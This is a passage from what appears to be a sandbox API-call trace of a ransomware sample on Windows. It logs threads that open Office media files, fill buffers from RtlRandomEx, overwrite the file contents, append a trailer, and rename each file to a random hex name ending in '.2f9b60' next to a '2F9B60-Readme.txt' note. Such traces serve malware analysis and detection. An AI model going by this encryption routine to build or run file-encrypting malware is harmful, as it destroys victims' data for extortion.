Office\\MEDIA\\CAGCAT10\\da9e4ae5ef1c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\da9e4ae5ef1c" [0131.862] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\da9e4ae5ef1c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\da9e4ae5ef1c.2f9b60" [0131.862] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\da9e4ae5ef1c.2f9b60", NtPathName=0x23f9f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\da9e4ae5ef1c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0147.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0147.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48d60) returned 1 [0147.366] NtQueryInformationFile (in: FileHandle=0x1ac4, IoStatusBlock=0x23f9f778, FileInformation=0x23f9f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23f9f778, FileInformation=0x23f9f788) returned 0x0 [0147.366] NtSetInformationFile (FileHandle=0x1ac4, IoStatusBlock=0x23f9f778, FileInformation=0x23f9f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0148.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0148.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0148.264] FlushFileBuffers (hFile=0x1ac4) returned 1 [0148.266] CloseHandle (hObject=0x1ac4) returned 1 [0163.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c223f0 [0163.073] wcscpy (in: _Dest=0x42c223f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0163.073] wcscat (in: _Dest=0x42c223f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0163.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0163.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c223f0) returned 1 [0163.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509a80) returned 1 Thread: id = 1741 os_tid = 0x173c [0131.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf")) returned 0x20 [0131.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF", dwFileAttributes=0x20) returned 1 [0131.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1acc [0131.752] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x2393f660 | out: lpFileSize=0x2393f660*=2512) returned 1 [0131.752] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x9cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.752] ReadFile (in: hFile=0x1acc, lpBuffer=0x2393f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2393f628, lpOverlapped=0x0 | out: lpBuffer=0x2393f5e0*, lpNumberOfBytesRead=0x2393f628*=0x4, lpOverlapped=0x0) returned 1 [0131.770] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b70 [0131.770] NtQuerySystemTime (in: CurrentTime=0x2393f520 | out: CurrentTime=0x2393f520*=132462177370066000) returned 0x0 [0131.770] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x1792f7c7 [0131.770] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x73b46bc2 [0131.770] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x1066b241 [0131.770] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x2d23aa6d [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x65887550 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x459abec9 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x3efa09a7 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x73e30661 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x27b1c3e5 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x79faff8c [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x16c77445 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x7b307ac3 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x9f5f7ca [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x14aa1dca [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x78835183 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x28697b7c [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x63c78c6b [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0xa026f3c [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x5bc76fc6 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x2123b662 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x2b7d2cdb [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x537e0413 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x2313e502 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x5b10726a [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x30958ad7 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x4459d336 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0xa6cc996 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x36824be4 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x458419a6 [0131.771] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x1d7b804d [0131.772] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0xbca3c2f [0131.772] RtlRandomEx (in: Seed=0x2393f510 | out: Seed=0x2393f510) returned 0x43b44938 [0131.779] ReadFile (in: hFile=0x1acc, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0x2393f510, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x2393f510*=0x9d0, lpOverlapped=0x0) returned 1 [0131.779] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.779] WriteFile (in: hFile=0x1acc, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x2393f514, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2393f514*=0x9d0, lpOverlapped=0x0) returned 1 [0131.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0131.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0131.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0131.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266ba0 [0131.797] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.797] WriteFile (in: hFile=0x1acc, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2393f630, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x2393f630*=0x10a, lpOverlapped=0x0) returned 1 [0131.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0131.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0131.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0131.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0131.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.801] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="fc") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="b8") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="00") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="96") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="b1") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="87") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="bd") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="8e") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="cd") returned 2 [0131.801] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="48") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="fc") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="61") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="a5") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="1d") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="7d") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="08") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="50") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="c4") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="fd") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="95") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="78") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="71") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="ae") returned 2 [0131.802] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="e0") returned 2 [0131.802] RtlInitAnsiString (in: DestinationString=0x2393f6a8, SourceString="fcb80096b187bd8ecd48fc61a51d7d0850c4fd957871aee0" | out: DestinationString="fcb80096b187bd8ecd48fc61a51d7d0850c4fd957871aee0") [0131.802] RtlAnsiStringToUnicodeString (in: DestinationString=0x2393f678, SourceString="fcb80096b187bd8ecd48fc61a51d7d0850c4fd957871aee0", AllocateDestinationString=1 | out: DestinationString="fcb80096b187bd8ecd48fc61a51d7d0850c4fd957871aee0") returned 0x0 [0131.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1e90 [0131.803] wcscat (in: _Dest=0x4205cbf0, _Source="fcb80096b187" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fcb80096b187") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fcb80096b187" [0131.803] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fcb80096b187.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fcb80096b187.2f9b60" [0131.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fcb80096b187.2f9b60", NtPathName=0x2393f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fcb80096b187.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0131.805] NtQueryInformationFile (in: FileHandle=0x1acc, IoStatusBlock=0x2393f6b8, FileInformation=0x2393f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2393f6b8, FileInformation=0x2393f6c8) returned 0x0 [0131.805] NtSetInformationFile (FileHandle=0x1acc, IoStatusBlock=0x2393f6b8, FileInformation=0x2393f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 [0131.810] FlushFileBuffers (hFile=0x1acc) returned 1 [0131.863] CloseHandle (hObject=0x1acc) returned 1 [0131.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050aec0 [0131.864] wcscpy (in: _Dest=0x2050aec0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.864] wcscat (in: _Dest=0x2050aec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aec0) returned 1 [0131.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 Thread: id = 1742 os_tid = 0x1740 [0131.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf")) returned 0x20 [0131.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF", dwFileAttributes=0x20) returned 1 [0131.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad0 [0131.759] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x24dffaa0 | out: lpFileSize=0x24dffaa0*=45598) returned 1 [0131.759] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0xb21a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.759] ReadFile (in: hFile=0x1ad0, lpBuffer=0x24dffa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24dffa68, lpOverlapped=0x0 | out: lpBuffer=0x24dffa20*, lpNumberOfBytesRead=0x24dffa68*=0x4, lpOverlapped=0x0) returned 1 [0131.794] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0131.795] NtQuerySystemTime (in: CurrentTime=0x24dff960 | out: CurrentTime=0x24dff960*=132462177370378000) returned 0x0 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x61775bfe [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x50106aa2 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x1db738f7 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x5a098ce1 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x4cb4938e [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x15ee446 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x7fa0a987 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x4459d336 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x6bf42f95 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x3cfbf234 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x76e49946 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0xe3e2f75 [0131.795] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x37795078 [0131.811] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x3c4e806c [0131.811] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x2338c42f [0131.811] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x377892c6 [0131.811] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x3248a223 [0131.811] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x128b696f [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x3499c720 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x805cc07 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x9f5f7ca [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x148ac476 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x68d4a73a [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x6b41434 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0xf8b73b0 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x1aca630f [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x1be41ce3 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x6332ef9 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x5ecaad46 [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x4fd3c85e [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x5c3c49ba [0131.812] RtlRandomEx (in: Seed=0x24dff950 | out: Seed=0x24dff950) returned 0x50045bb8 [0131.824] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.824] ReadFile (in: hFile=0x1ad0, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24dff9c0, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x24dff9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.851] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0131.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0131.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f100b0 [0131.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0131.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a50) returned 1 [0131.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.853] WriteFile (in: hFile=0x1ad0, lpBuffer=0x41f100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24dff9c0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesWritten=0x24dff9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0131.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266870 [0131.900] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.900] WriteFile (in: hFile=0x1ad0, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24dffa70, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x24dffa70*=0x10a, lpOverlapped=0x0) returned 1 [0131.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0131.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505290 [0131.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0131.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0131.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.938] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="aa") returned 2 [0131.938] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="90") returned 2 [0131.938] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="8f") returned 2 [0131.938] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="d6") returned 2 [0131.938] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="03") returned 2 [0131.938] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="3f") returned 2 [0131.938] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="f9") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="41") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="7b") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="ca") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="85") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="de") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="ed") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="5e") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="8a") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="97") returned 2 [0131.939] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="c6") returned 2 [0131.939] sprintf (in: 